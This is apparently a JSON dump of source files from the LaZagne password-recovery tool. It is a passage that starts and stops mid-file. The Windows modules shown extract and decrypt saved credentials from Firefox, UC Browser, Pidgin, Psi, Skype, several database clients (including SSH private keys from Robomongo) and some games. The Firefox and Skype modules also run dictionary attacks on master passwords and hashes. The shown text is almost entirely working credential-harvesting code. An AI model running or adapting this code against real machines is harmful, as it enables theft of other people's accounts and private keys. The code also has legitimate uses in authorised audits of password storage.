decoder.decode(priv_key)\n        pr_key = priv_key_asn1[0][2].asOctets()\n        # self.print_asn1(pr_key, len(pr_key), 0)\n        pr_key_asn1 = decoder.decode(pr_key)\n        # id = pr_key_asn1[0][1]\n        key = long_to_bytes(pr_key_asn1[0][3])\n        return key\n\n    @staticmethod\n    def decode_login_data(data):\n        asn1data = decoder.decode(b64decode(data))  # First base64 decoding, then ASN1DERdecode\n        # For login and password, keep :(key_id, iv, ciphertext)\n        return asn1data[0][0].asOctets(), asn1data[0][1][1].asOctets(), asn1data[0][2].asOctets()\n\n    def get_login_data(self, profile):\n        \"\"\"\n        Get encrypted data (user / password) and host from the json or sqlite files\n        \"\"\"\n        conn = sqlite3.connect(os.path.join(profile, 'signons.sqlite'))\n        logins = []\n        c = conn.cursor()\n        try:\n            c.execute('SELECT * FROM moz_logins;')\n        except sqlite3.OperationalError:  # Since Firefox 32, json is used instead of sqlite3\n            try:\n                logins_json = os.path.join(profile, 'logins.json')\n                if os.path.isfile(logins_json):\n                    with open(logins_json) as f:\n                        loginf = f.read()\n                        if loginf:\n                            json_logins = json.loads(loginf)\n                            if 'logins' not in json_logins:\n                                self.debug('No logins key in logins.json')\n                                return logins\n                            for row in json_logins['logins']:\n                                enc_username = row['encryptedUsername']\n                                enc_password = row['encryptedPassword']\n                                logins.append((self.decode_login_data(enc_username),\n                                               self.decode_login_data(enc_password), row['hostname']))\n                            return logins\n            except Exception:\n                self.debug(traceback.format_exc())\n                return []\n\n        # Using sqlite3 database\n        for row in c:\n            enc_username = row[6]\n            enc_password = row[7]\n            logins.append((self.decode_login_data(enc_username), self.decode_login_data(enc_password), row[1]))\n        return logins\n\n    def manage_masterpassword(self, master_password=b'', key_data=None, new_version=True):\n        \"\"\"\n        Check if a master password is set.\n        If so, try to find it using a dictionary attack\n        \"\"\"\n        (global_salt, master_password, entry_salt) = self.is_master_password_correct(master_password=master_password,\n                                                                                     key_data=key_data,\n                                                                                     new_version=new_version)\n\n        if not global_salt:\n            self.info(u'Master Password is used !')\n            (global_salt, master_password, entry_salt) = self.brute_master_password(key_data=key_data,\n                                                                                    new_version=new_version)\n            if not master_password:\n                return '', '', ''\n\n        return global_salt, master_password, entry_salt\n\n    def is_master_password_correct(self, key_data, master_password=b'', new_version=True):\n        try:\n            entry_salt = b\"\"\n            if not new_version:\n                # See http://www.drh-consultancy.demon.co.uk/key3.html\n                pwd_check = key_data.get(b'password-check')\n                if not pwd_check:\n                    return '', '', ''\n                # Hope not breaking something (not tested for old version)\n                # entry_salt_len = char_to_int(pwd_check[1])\n                # entry_salt = pwd_check[3: 3 + entry_salt_len]\n                # encrypted_passwd = pwd_check[-16:]\n                global_salt = key_data[b'global-salt']\n\n            else:\n                global_salt = key_data[0]  # Item1\n                item2 = key_data[1]\n                # self.print_asn1(item2, len(item2), 0)\n                # SEQUENCE {\n                # \tSEQUENCE {\n                # \t\tOBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3\n                # \t\tSEQUENCE {\n                # \t\t\tOCTETSTRING entry_salt_for_passwd_check\n                # \t\t\tINTEGER 01\n                # \t\t}\n                # \t}\n                # \tOCTETSTRING encrypted_password_check\n                # }\n                decoded_item2 = decoder.decode(item2)\n\n            cleartext_data = self.decrypt_3des(decoded_item2, master_password, global_salt)\n            if cleartext_data != convert_to_byte('password-check\\x02\\x02'):\n                return '', '', ''\n\n            return global_salt, master_password, entry_salt\n        except Exception:\n            self.debug(traceback.format_exc())\n            return '', '', ''\n\n    def brute_master_password(self, key_data, new_version=True):\n        \"\"\"\n        Try to find master_password doing a dictionary attack using the 500 most used passwords\n        \"\"\"\n        wordlist = constant.password_found + get_dic()\n        num_lines = (len(wordlist) - 1)\n        self.info(u'%d most used passwords !!! ' % num_lines)\n\n        for word in wordlist:\n            global_salt, master_password, entry_salt = self.is_master_password_correct(key_data=key_data,\n                                                                                       master_password=word.strip(),\n                                                                                       new_version=new_version)\n            if master_password:\n                self.info(u'Master password found: {}'.format(master_password))\n                return global_salt, master_password, entry_salt\n\n        self.warning(u'No password has been found using the default list')\n        return '', '', ''\n\n    def remove_padding(self, data):\n        \"\"\"\n        Remove PKCS#7 padding\n        \"\"\"\n        try:\n            nb = struct.unpack('B', data[-1])[0]  # Python 2\n        except Exception:\n            nb = data[-1]  # Python 3\n\n        try:\n            return data[:-nb]\n        except Exception:\n            self.debug(traceback.format_exc())\n            return data\n\n    def decrypt(self, key, iv, ciphertext):\n        \"\"\"\n        Decrypt ciphered data (user / password) using the key previously found\n        \"\"\"\n        data = triple_des(key, CBC, iv).decrypt(ciphertext)\n        return self.remove_padding(data)\n\n    def run(self):\n        \"\"\"\n        Main function\n        \"\"\"\n        pwd_found = []\n        self.path = self.path.format(**constant.profile)\n        if os.path.exists(self.path):\n            for profile in self.get_firefox_profiles(self.path):\n                self.debug(u'Profile path found: {profile}'.format(profile=profile))\n\n                credentials = self.get_login_data(profile)\n                if credentials:\n                    for key in self.get_key(profile):\n                        for user, passw, url in credentials:\n                            try:\n                                pwd_found.append({\n                                    'URL': url,\n                                    'Login': self.decrypt(key=key, iv=user[1], ciphertext=user[2]).decode('utf-8'),\n                                    'Password': self.decrypt(key=key, iv=passw[1], ciphertext=passw[2]).decode('utf-8'),\n                                })\n                            except Exception:\n                                self.debug(u'An error occured decrypting the password: {error}'.format(error=traceback.format_exc()))\n                else:\n                    self.info(u'Database empty')\n\n        return pwd_found\n"
  },
  {
    "path": "Windows/lazagne/softwares/browsers/ucbrowser.py",
    "content": "# -*- coding: utf-8 -*-\nimport os\n\nfrom lazagne.config.constant import constant\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.softwares.browsers.chromium_based import ChromiumBased\n\n\nclass UCBrowser(ChromiumBased):\n    def __init__(self):\n        self.database_query = 'SELECT action_url, username_value, password_value FROM wow_logins'\n        ModuleInfo.__init__(self, 'uc browser', 'browsers', winapi_used=True)\n\n    def _get_database_dirs(self):\n        data_dir = u'{LOCALAPPDATA}\\\\UCBrowser'.format(**constant.profile)\n        try:\n            # UC Browser seems to have random characters appended to the User Data dir so we'll list them all\n            self.paths = [os.path.join(data_dir, d) for d in os.listdir(data_dir)]\n        except Exception:\n            self.paths = []\n        return ChromiumBased._get_database_dirs(self)\n"
  },
  {
    "path": "Windows/lazagne/softwares/chats/__init__.py",
    "content": ""
  },
  {
    "path": "Windows/lazagne/softwares/chats/pidgin.py",
    "content": "# -*- coding: utf-8 -*- \nimport os\nfrom xml.etree.cElementTree import ElementTree\n\nfrom lazagne.config.constant import constant\nfrom lazagne.config.module_info import ModuleInfo\n\n\nclass Pidgin(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, 'pidgin', 'chats')\n\n    def run(self):\n        path = os.path.join(constant.profile['APPDATA'], u'.purple', u'accounts.xml')\n        if os.path.exists(path):\n            tree = ElementTree(file=path)\n            root = tree.getroot()\n            pwd_found = []\n\n            for account in root.findall('account'):\n                name = account.find('name')\n                password = account.find('password')\n                if None not in (name, password):\n                    pwd_found.append({\n                        'Login': name.text,\n                        'Password': password.text\n                    })\n            return pwd_found\n"
  },
  {
    "path": "Windows/lazagne/softwares/chats/psi.py",
    "content": "# -*- coding: utf-8 -*- \nimport os\nfrom xml.etree.cElementTree import ElementTree\nfrom glob import glob\nfrom itertools import cycle\n\nfrom lazagne.config.constant import constant\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config.winstructure import char_to_int\n\n\nclass PSI(ModuleInfo):\n    def __init__(self):\n        self.pwd_found = []\n\n        ModuleInfo.__init__(self, 'psi-im', 'chats')\n\n    def get_profiles_files(self):\n        _dirs = (\n            u'psi\\\\profiles\\\\*\\\\accounts.xml',\n            u'psi+\\\\profiles\\\\*\\\\accounts.xml',\n        )\n\n        for one_dir in _dirs:\n            _path = os.path.join(constant.profile['APPDATA'], one_dir)\n            accs_files = glob(_path)\n            for one_file in accs_files:\n                yield one_file\n\n    # Thanks to https://github.com/jose1711/psi-im-decrypt\n    def decode_password(self, password, jid):\n        result = ''\n        jid = cycle(jid)\n        for n1 in range(0, len(password), 4):\n            x = int(password[n1:n1 + 4], 16)\n            result += chr(x ^ char_to_int(next(jid)))\n\n        return result\n\n    def process_one_file(self, _path):\n        root = ElementTree(file=_path).getroot()\n\n        for item in root:\n            if item.tag == '{http://psi-im.org/options}accounts':\n                for acc in item:\n                    values = {}\n\n                    for x in acc:\n                        if x.tag == '{http://psi-im.org/options}jid':\n                            values['Login'] = x.text\n\n                        elif x.tag == '{http://psi-im.org/options}password':\n                            values['Password'] = x.text\n\n                    values['Password'] = self.decode_password(values['Password'], values['Login'])\n\n                    if values:\n                        self.pwd_found.append(values)\n\n    def run(self):\n        for one_file in self.get_profiles_files():\n            self.process_one_file(one_file)\n\n        return self.pwd_found\n"
  },
  {
    "path": "Windows/lazagne/softwares/chats/skype.py",
    "content": "# -*- coding: utf-8 -*-\r\nimport binascii\r\nimport hashlib\r\nimport os\r\nimport struct\r\nfrom xml.etree.cElementTree import ElementTree\r\n\r\nimport lazagne.config.winstructure as win\r\nfrom lazagne.config.constant import constant\r\nfrom lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC\r\nfrom lazagne.config.dico import get_dic\r\nfrom lazagne.config.module_info import ModuleInfo\r\n\r\ntry: \r\n    import _winreg as winreg\r\nexcept ImportError:\r\n    import winreg\r\n\r\n\r\nclass Skype(ModuleInfo):\r\n    def __init__(self):\r\n        ModuleInfo.__init__(self, 'skype', 'chats', winapi_used=True)\r\n\r\n        self.pwd_found = []\r\n\r\n    def aes_encrypt(self, message, passphrase):\r\n        iv = '\\x00' * 16\r\n        aes = AESModeOfOperationCBC(passphrase, iv=iv)\r\n        return aes.encrypt(message)\r\n\r\n    # get value used to build the salt\r\n    def get_regkey(self):\r\n        try:\r\n            key_path = 'Software\\\\Skype\\\\ProtectedStorage'\r\n            try:\r\n                hkey = win.OpenKey(win.HKEY_CURRENT_USER, key_path)\r\n            except Exception as e:\r\n                self.debug(str(e))\r\n                return False\r\n\r\n            # num = winreg.QueryInfoKey(hkey)[1]\r\n            k = winreg.EnumValue(hkey, 0)[1]\r\n            result_bytes = win.Win32CryptUnprotectData(k, is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi)\r\n            return result_bytes.decode(\"utf-8\")\r\n        except Exception as e:\r\n            self.debug(str(e))\r\n            return False\r\n\r\n    # get hash from lazagne.configuration file\r\n    def get_hash_credential(self, xml_file):\r\n        tree = ElementTree(file=xml_file)\r\n        encrypted_hash = tree.find('Lib/Account/Credentials3')\r\n        if encrypted_hash is not None:\r\n            return encrypted_hash.text\r\n        else:\r\n            return False\r\n\r\n    # decrypt hash to get the md5 to bruteforce\r\n    def get_md5_hash(self, enc_hex, key):\r\n        # convert hash from hex to binary\r\n        enc_binary = binascii.unhexlify(enc_hex)\r\n\r\n        # retrieve the salt\r\n        salt = hashlib.sha1('\\x00\\x00\\x00\\x00' + key).digest() + hashlib.sha1('\\x00\\x00\\x00\\x01' + key).digest()\r\n\r\n        # encrypt value used with the XOR operation\r\n        aes_key = self.aes_encrypt(struct.pack('I', 0) * 4, salt[0:32])[0:16]\r\n\r\n        # XOR operation\r\n        decrypted = []\r\n        for d in range(16):\r\n            decrypted.append(struct.unpack('B', enc_binary[d])[0] ^ struct.unpack('B', aes_key[d])[0])\r\n\r\n        # cast the result byte\r\n        tmp = ''\r\n        for dec in decrypted:\r\n            tmp = tmp + struct.pack(\">I\", dec).strip('\\x00')\r\n\r\n        # byte to hex\r\n        return binascii.hexlify(tmp)\r\n\r\n    def dictionary_attack(self, login, md5):\r\n        wordlist = constant.password_found + get_dic()\r\n        for word in wordlist:\r\n            hash_ = hashlib.md5('%s\\nskyper\\n%s' % (login, word)).hexdigest()\r\n            if hash_ == md5:\r\n                return word\r\n        return False\r\n\r\n    def get_username(self, path):\r\n        xml_file = os.path.join(path, u'shared.xml')\r\n        if os.path.exists(xml_file):\r\n            tree = ElementTree(file=xml_file)\r\n            username = tree.find('Lib/Account/Default')\r\n            try:\r\n                return win.string_to_unicode(username.text)\r\n            except Exception:\r\n                pass\r\n        return False\r\n\r\n    def get_info(self, key, username, path):\r\n        if os.path.exists(os.path.join(path, u'config.xml')):\r\n            values = {}\r\n\r\n            try:\r\n                values['Login'] = username\r\n\r\n                # get encrypted hash from the config file\r\n                enc_hex = self.get_hash_credential(os.path.join(path, u'config.xml'))\r\n\r\n                if not enc_hex:\r\n                    self.warning(u'No credential stored on the config.xml file.')\r\n                else:\r\n                    # decrypt the hash to get the md5 to brue force\r\n                    values['Hash'] = self.get_md5_hash(enc_hex, key)\r\n                    values['Pattern to bruteforce using md5'] = win.string_to_unicode(values['Login']) + u'\\\\nskyper\\\\n<password>'\r\n\r\n                    # Try a dictionary attack on the hash\r\n                    password = self.dictionary_attack(values['Login'], values['Hash'])\r\n                    if password:\r\n                        values['Password'] = password\r\n\r\n                    self.pwd_found.append(values)\r\n            except Exception as e:\r\n                self.debug(str(e))\r\n\r\n    def run(self):\r\n        path = os.path.join(constant.profile['APPDATA'], u'Skype')\r\n        if os.path.exists(path):\r\n            # retrieve the key used to build the salt\r\n            key = self.get_regkey()\r\n            if not key:\r\n                self.error(u'The salt has not been retrieved')\r\n            else:\r\n                username = self.get_username(path)\r\n                if username:\r\n                    d = os.path.join(path, username)\r\n                    if os.path.exists(d):\r\n                        self.get_info(key, username, d)\r\n\r\n                if not self.pwd_found:\r\n                    for d in os.listdir(path):\r\n                        self.get_info(key, d, os.path.join(path, d))\r\n\r\n                return self.pwd_found\r\n"
  },
  {
    "path": "Windows/lazagne/softwares/databases/__init__.py",
    "content": ""
  },
  {
    "path": "Windows/lazagne/softwares/databases/dbvis.py",
    "content": "# -*- coding: utf-8 -*- \nimport array\nimport base64\nimport binascii\nimport hashlib\nimport os\nimport re\nfrom xml.etree.cElementTree import ElementTree\n\nfrom lazagne.config.constant import constant\nfrom lazagne.config.crypto.pyDes import des, CBC\nfrom lazagne.config.module_info import ModuleInfo\n\n\nclass Dbvisualizer(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, name='dbvis', category='databases')\n\n        self._salt = self.get_salt()\n        self._passphrase = 'qinda'\n        self._iteration = 10\n\n    def get_salt(self):\n        salt_array = [-114, 18, 57, -100, 7, 114, 111, 90]\n        salt = array.array('b', salt_array)\n        hexsalt = binascii.hexlify(salt)\n        return binascii.unhexlify(hexsalt)\n\n    def get_derived_key(self, password, salt, count):\n        key = bytearray(password) + salt\n\n        for i in range(count):\n            m = hashlib.md5(key)\n            key = m.digest()\n        return key[:8], key[8:]\n\n    def decrypt(self, msg):\n        enc_text = base64.b64decode(msg)\n        (dk, iv) = self.get_derived_key(self._passphrase, self._salt, self._iteration)\n        crypter = des(dk, CBC, iv)\n        text = crypter.decrypt(enc_text)\n        return re.sub(r'[\\x01-\\x08]', '', text)\n\n    def run(self):\n        path = os.path.join(constant.profile['HOMEPATH'], u'.dbvis', u'config70', u'dbvis.xml')\n        if os.path.exists(path):\n            tree = ElementTree(file=path)\n\n            pwd_found = []\n            elements = {'Alias': 'Name', 'Userid': 'Login', 'Password': 'Password', 'UrlVariables//Driver': 'Driver'}\n\n            for e in tree.findall('Databases/Database'):\n                values = {}\n                for elem in elements:\n                    try:\n                        if elem != \"Password\":\n                            values[elements[elem]] = e.find(elem).text\n                        else:\n                            values[elements[elem]] = self.decrypt(e.find(elem).text)\n                    except Exception:\n                        pass\n\n                try:\n                    elem = e.find('UrlVariables')\n                    for ee in elem.getchildren():\n                        for ele in ee.getchildren():\n                            if 'Server' == ele.attrib['UrlVariableName']:\n                                values['Host'] = str(ele.text)\n                            if 'Port' == ele.attrib['UrlVariableName']:\n                                values['Port'] = str(ele.text)\n                            if 'SID' == ele.attrib['UrlVariableName']:\n                                values['SID'] = str(ele.text)\n                except Exception:\n                    pass\n\n                if values:\n                    pwd_found.append(values)\n\n            return pwd_found\n"
  },
  {
    "path": "Windows/lazagne/softwares/databases/postgresql.py",
    "content": "# -*- coding: utf-8 -*-\r\n\r\nimport os\r\n\r\nfrom lazagne.config.constant import constant\r\nfrom lazagne.config.module_info import ModuleInfo\r\n\r\n\r\nclass PostgreSQL(ModuleInfo):\r\n    def __init__(self):\r\n        ModuleInfo.__init__(self, name='postgresql', category='databases')\r\n\r\n    def run(self):\r\n        path = os.path.join(constant.profile['APPDATA'], u'postgresql', u'pgpass.conf')\r\n        if os.path.exists(path):\r\n            with open(path) as f:\r\n                pwd_found = []\r\n                for line in f.readlines():\r\n                    try:\r\n                        items = line.strip().split(':')\r\n                        pwd_found.append({\r\n                            'Hostname': items[0],\r\n                            'Port': items[1],\r\n                            'DB': items[2],\r\n                            'Username': items[3],\r\n                            'Password': items[4]\r\n                        })\r\n\r\n                    except Exception:\r\n                        pass\r\n\r\n                return pwd_found\r\n"
  },
  {
    "path": "Windows/lazagne/softwares/databases/robomongo.py",
    "content": "# -*- coding: utf-8 -*- \nimport json\nimport os\n\nfrom lazagne.config.constant import constant\nfrom lazagne.config.module_info import ModuleInfo\n\n\nclass Robomongo(ModuleInfo):\n\n    def __init__(self):\n        ModuleInfo.__init__(self, 'robomongo', 'databases')\n\n        self.paths = [\n            {\n                'directory': u'.config/robomongo',\n                'filename': u'robomongo.json',\n            },\n            {\n                'directory': u'.3T/robo-3t/1.1.1',\n                'filename': u'robo3t.json',\n            }\n        ]\n\n    def read_file_content(self, file_path):\n        \"\"\"\n        Read the content of a file\n\n        :param file_path: Path of the file to read.\n\n        :return: File content as string.\n        \"\"\"\n        content = \"\"\n        if os.path.isfile(file_path):\n            with open(file_path, 'r') as file_handle:\n                content = file_handle.read()\n\n        return content\n\n    def parse_json(self, connection_file_path):\n        repos_creds = []\n        if not os.path.exists(connection_file_path):\n            return repos_creds\n        with open(connection_file_path) as connection_file:\n            try:\n                connections_infos = json.load(connection_file)\n            except Exception:\n                return repos_creds\n            for connection in connections_infos.get(\"connections\", []):\n                try:\n                    creds = {\n                        \"Name\": connection[\"connectionName\"],\n                        \"Host\": connection[\"serverHost\"],\n                        \"Port\": connection[\"serverPort\"]\n                    }\n                    crd = connection[\"credentials\"][0]\n                    if crd.get(\"enabled\"):\n                        creds.update({\n                            \"AuthMode\": \"CREDENTIALS\",\n                            \"DatabaseName\": crd[\"databaseName\"],\n                            \"AuthMechanism\": crd[\"mechanism\"],\n                            \"Login\": crd[\"userName\"],\n                            \"Password\": crd[\"userPassword\"]\n                        })\n                    else:\n                        creds.update({\n                            \"Host\": connection[\"ssh\"][\"host\"],\n                            \"Port\": connection[\"ssh\"][\"port\"],\n                            \"Login\": connection[\"ssh\"][\"userName\"]\n                        })\n                        if connection[\"ssh\"][\"enabled\"] and connection[\"ssh\"][\"method\"] == \"password\":\n                            creds.update({\n                                \"AuthMode\": \"SSH_CREDENTIALS\",\n                                \"Password\": connection[\"ssh\"][\"userPassword\"]\n                            })\n                        else:\n                            creds.update({\n                                \"AuthMode\": \"SSH_PRIVATE_KEY\",\n                                \"Passphrase\": connection[\"ssh\"][\"passphrase\"],\n                                \"PrivateKey\": self.read_file_content(connection[\"ssh\"][\"privateKeyFile\"]),\n                                \"PublicKey\": self.read_file_content(connection[\"ssh\"][\"publicKeyFile\"])\n                            })\n                    repos_creds.append(creds)\n                except Exception as e:\n                    self.error(u\"Cannot retrieve connections credentials '{error}'\".format(error=e))\n\n        return repos_creds\n\n    def run(self):\n        \"\"\"\n        Extract all connection's credentials.\n\n        :return: List of dict in which one dict contains all information for a connection.\n        \"\"\"\n        pwd_found = []\n        for directory in self.paths:\n            connection_file_path = os.path.join(constant.profile['USERPROFILE'],\n                                                directory['directory'],\n                                                directory['filename'])\n            pwd_found.extend(self.parse_json(connection_file_path))\n        return pwd_found\n"
  },
  {
    "path": "Windows/lazagne/softwares/databases/sqldeveloper.py",
    "content": "# -*- coding: utf-8 -*- \n\n# Passwords decryption for new verion have been taken from:\n# https://github.com/maaaaz/sqldeveloperpassworddecryptor\n\nimport array\nimport base64\nimport binascii\nimport hashlib\nimport json\nimport os\nimport re\nfrom xml.etree.cElementTree import ElementTree\nfrom Crypto.Cipher import AES\n\nfrom lazagne.config.constant import constant\nfrom lazagne.config.crypto.pyDes import des, CBC\nfrom lazagne.config.module_info import ModuleInfo\n\n\nclass SQLDeveloper(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, 'sqldeveloper', 'databases')\n\n        self._salt = self.get_salt()\n        self._passphrase = None\n        self._iteration = 42\n\n    def get_salt(self):\n        salt_array = [5, 19, -103, 66, -109, 114, -24, -83]\n        salt = array.array('b', salt_array)\n        hexsalt = binascii.hexlify(salt)\n        return binascii.unhexlify(hexsalt)\n\n    def get_derived_key(self, password, salt, count):\n        key = bytearray(password) + salt\n        for i in range(count):\n            m = hashlib.md5(key)\n            key = m.digest()\n        return key[:8], key[8:]\n\n    def decrypt(self, msg):\n        enc_text = base64.b64decode(msg)\n        (dk, iv) = self.get_derived_key(self._passphrase, self._salt, self._iteration)\n        crypter = des(dk, CBC, iv)\n        text = crypter.decrypt(enc_text)\n        return re.sub(r'[\\x01-\\x08]', '', text)\n\n    def aes_cbc_decrypt(self, encrypted_password, decryption_key, iv):\n        unpad = lambda s : s[:-ord(s[len(s)-1:])]\n        crypter = AES.new(decryption_key, AES.MODE_CBC, iv)\n        decrypted_password = unpad(crypter.decrypt(encrypted_password))\n        \n        return decrypted_password.decode('utf-8')\n\n    def decrypt_v19_2(self, encrypted, db_system_id):\n        encrypted_password = base64.b64decode(encrypted)\n\n        salt = array.array('b', [6, -74, 97, 35, 61, 104, 50, -72])\n        key = hashlib.pbkdf2_hmac(\"sha256\", db_system_id.encode(), salt, 5000, 32)\n\n        iv = encrypted_password[:16]\n        encrypted_password = encrypted_password[16:]\n        try:\n            decrypted = self.aes_cbc_decrypt(encrypted_password, key, iv)\n        except:\n            return False\n        \n        return decrypted\n\n    def get_passphrase(self, path):\n        xml_name = u'product-preferences.xml'\n        xml_file = None\n\n        if os.path.exists(os.path.join(path, xml_name)):\n            xml_file = os.path.join(path, xml_name)\n        else:\n            for p in os.listdir(path):\n                if p.startswith('system'):\n                    new_directory = os.path.join(path, p)\n\n                    for pp in os.listdir(new_directory):\n                        if pp.startswith(u'o.sqldeveloper'):\n                            if os.path.exists(os.path.join(new_directory, pp, xml_name)):\n                                xml_file = os.path.join(new_directory, pp, xml_name)\n                            break\n        if xml_file:\n            tree = ElementTree(file=xml_file)\n            for elem in tree.iter():\n                if 'n' in elem.attrib.keys():\n                    if elem.attrib['n'] == 'db.system.id':\n                        return elem.attrib['v']\n\n    def run(self):\n        pwd_found = []\n\n        path = os.path.join(constant.profile['APPDATA'], u'SQL Developer')\n        if os.path.exists(path):\n            self._passphrase = self.get_passphrase(path)\n            if self._passphrase:\n                self.debug(u'Passphrase found: {passphrase}'.format(passphrase=self._passphrase))\n\n                # Check for older version\n                xml_name = u'connections.xml'\n                xml_file = None\n\n                if os.path.exists(os.path.join(path, xml_name)):\n                    xml_file = os.path.join(path, xml_name)\n                else:\n                    for p in os.listdir(path):\n                        if p.startswith('system'):\n                            new_directory = os.path.join(path, p)\n\n                            for pp in os.listdir(new_directory):\n                                if pp.startswith(u'o.jdeveloper.db.connection'):\n                                    if os.path.exists(os.path.join(new_directory, pp, xml_name)):\n                                        xml_file = os.path.join(new_directory, pp, xml_name)\n                                    break\n\n                if xml_file:\n                    renamed_value = {'sid': 'SID', 'port': 'Port', 'hostname': 'Host', 'user': 'Login',\n                                     'password': 'Password', 'ConnName': 'Name', 'customUrl': 'URL',\n                                     'SavePassword': 'SavePassword', 'driver': 'Driver'}\n                    tree = ElementTree(file=xml_file)\n\n                    pwd_found = []\n                    for e in tree.findall('Reference'):\n                        values = {}\n                        for ee in e.findall('RefAddresses/StringRefAddr'):\n                            if ee.attrib['addrType'] in renamed_value and ee.find('Contents').text is not None:\n                                name = renamed_value[ee.attrib['addrType']]\n                                value = ee.find('Contents').text if name != 'Password' else self.decrypt(\n                                    ee.find('Contents').text)\n                                values[name] = value\n\n                        pwd_found.append(values)\n\n                # Check for newer version\n                json_name = u'connections.json'\n                json_file = None\n\n                if os.path.exists(os.path.join(path, xml_name)):\n                    json_file = os.path.join(path, xml_name)\n                else:\n                    for p in os.listdir(path):\n                        if p.startswith('system'):\n                            new_directory = os.path.join(path, p)\n\n                            for pp in os.listdir(new_directory):\n                                if pp.startswith(u'o.jdeveloper.db.connection'):\n                                    if os.path.exists(os.path.join(new_directory, pp, json_name)):\n                                        json_file = os.path.join(new_directory, pp, json_name)\n                                    break\n\n                if json_file:\n                    with open(json_file) as jf: \n                        data = json.load(jf)\n                        for connection in data['connections']: \n                            values = {\n                                'Name': connection['name'], \n                                'Type': connection['type']\n                            }\n                            for info in connection['info']:\n                                if info == 'password': \n                                    password  = self.decrypt_v19_2(connection['info'][info], self._passphrase)\n                                    if password: \n                                        values['Password'] = password\n                                else:\n                                    values[info.capitalize()] = connection['info'][info]\n\n                            pwd_found.append(values)\n\n        return pwd_found\n"
  },
  {
    "path": "Windows/lazagne/softwares/databases/squirrel.py",
    "content": "# -*- coding: utf-8 -*- \nimport os\nfrom xml.etree.cElementTree import ElementTree\n\nfrom lazagne.config.constant import constant\nfrom lazagne.config.module_info import ModuleInfo\n\n\nclass Squirrel(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, name='squirrel', category='databases')\n\n    def run(self):\n        path = os.path.join(constant.profile['USERPROFILE'], u'.squirrel-sql', u'SQLAliases23.xml')\n        if os.path.exists(path):\n            tree = ElementTree(file=path)\n            pwd_found = []\n            elements = {'name': 'Name', 'url': 'URL', 'userName': 'Login', 'password': 'Password'}\n            for elem in tree.iter('Bean'):\n                values = {}\n                for e in elem:\n                    if e.tag in elements:\n                        values[elements[e.tag]] = e.text\n                if values:\n                    pwd_found.append(values)\n\n            return pwd_found\n"
  },
  {
    "path": "Windows/lazagne/softwares/games/__init__.py",
    "content": ""
  },
  {
    "path": "Windows/lazagne/softwares/games/galconfusion.py",
    "content": "# -*- coding: utf-8 -*-\n\nimport os\n\ntry: \n    import _winreg as winreg\nexcept ImportError:\n    import winreg\n\nimport lazagne.config.winstructure as win\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config.winstructure import string_to_unicode\n\n\nclass GalconFusion(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, 'galconfusion', 'games', registry_used=True)\n\n    def run(self):\n        creds = []\n        results = None\n\n        # Find the location of steam - to make it easier we're going to use a try block\n        # 'cos I'm lazy\n        try:\n            with win.OpenKey(win.HKEY_CURRENT_USER, 'Software\\\\Valve\\\\Steam') as key:\n                results = winreg.QueryValueEx(key, 'SteamPath')\n        except Exception:\n            pass\n\n        if results:\n            steampath = string_to_unicode(results[0])\n            userdata = os.path.join(steampath, u'userdata')\n\n            # Check that we have a userdata directory\n            if not os.path.exists(userdata):\n                self.error(u'Steam doesn\\'t have a userdata directory.')\n                return\n\n            # Now look for Galcon Fusion in every user\n            for f in os.listdir(userdata):\n                filepath = os.path.join(userdata, string_to_unicode(f), u'44200\\\\remote\\\\galcon.cfg')\n                if not os.path.exists(filepath):\n                    continue\n\n                # If we're here we should have a Galcon Fusion file\n                with open(filepath, mode='rb') as cfgfile:\n                    # We've found a config file, now extract the creds\n                    data = cfgfile.read()\n                    creds.append({\n                        'Login': data[4:0x23],\n                        'Password': data[0x24:0x43]\n                    })\n\n            return creds\n"
  },
  {
    "path": "Windows/lazagne/softwares/games/kalypsomedia.py",
    "content": "# -*- coding: utf-8 -*- \nimport base64\nimport os\n\nfrom lazagne.config.constant import constant\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config.winstructure import char_to_int, chr_or_byte\n\ntry:\n    from ConfigParser import ConfigParser  # Python 2.7\nexcept ImportError:\n    from configparser import ConfigParser  # Python 3\n\n\nclass KalypsoMedia(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, 'kalypsomedia', 'games')\n\n    def xorstring(self, s, k):\n        \"\"\"\n        xors the two strings\n        \"\"\"\n        return b''.join(chr_or_byte(char_to_int(x) ^ char_to_int(y)) for x, y in zip(s, k))\n\n    def run(self):\n        creds = []\n        key = b'lwSDFSG34WE8znDSmvtwGSDF438nvtzVnt4IUv89'\n        inifile = os.path.join(constant.profile['APPDATA'], u'Kalypso Media\\\\Launcher\\\\launcher.ini')\n\n        # The actual user details are stored in *.userdata files\n        if os.path.exists(inifile):\n            config = ConfigParser()\n            config.read(inifile)\n\n            # get the encoded password\n            cookedpw = base64.b64decode(config.get('styx user', 'password'))\n\n            creds.append({\n                'Login': config.get('styx user', 'login'),\n                'Password': self.xorstring(cookedpw, key)\n            })\n            return creds\n"
  },
  {
    "path": "Windows/lazagne/softwares/games/roguestale.py",
    "content": "# -*- coding: utf-8 -*- \nimport os\nimport re\nfrom xml.etree.cElementTree import ElementTree\n\nfrom lazagne.config.constant import constant\nfrom lazagne.config.module_info import ModuleInfo\n\n\nclass RoguesTale(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, 'roguestale', 'games')\n\n    def run(self):\n        creds = []\n        directory = constant.profile['USERPROFILE'] + u'\\\\Documents\\\\Rogue\\'s Tale\\\\users'\n\n        # The actual user details are stored in *.userdata files\n        if os.path.exists(directory):\n            files = os.listdir(directory)\n\n            for f in files:\n                if re.match('.*\\.userdata', f):\n                    # We've found a user file, now extract the hash and username\n\n                    xmlfile = directory + '\\\\' + f\n                    tree = ElementTree(file=xmlfile)\n                    root = tree.getroot()\n\n                    # Double check to make sure that the file is valid\n                    if root.tag != 'user':\n                        self.warning(u'Profile %s does not appear to be valid' % f)\n                        continue\n\n                    # Now save it to credentials\n                    creds.append({\n                        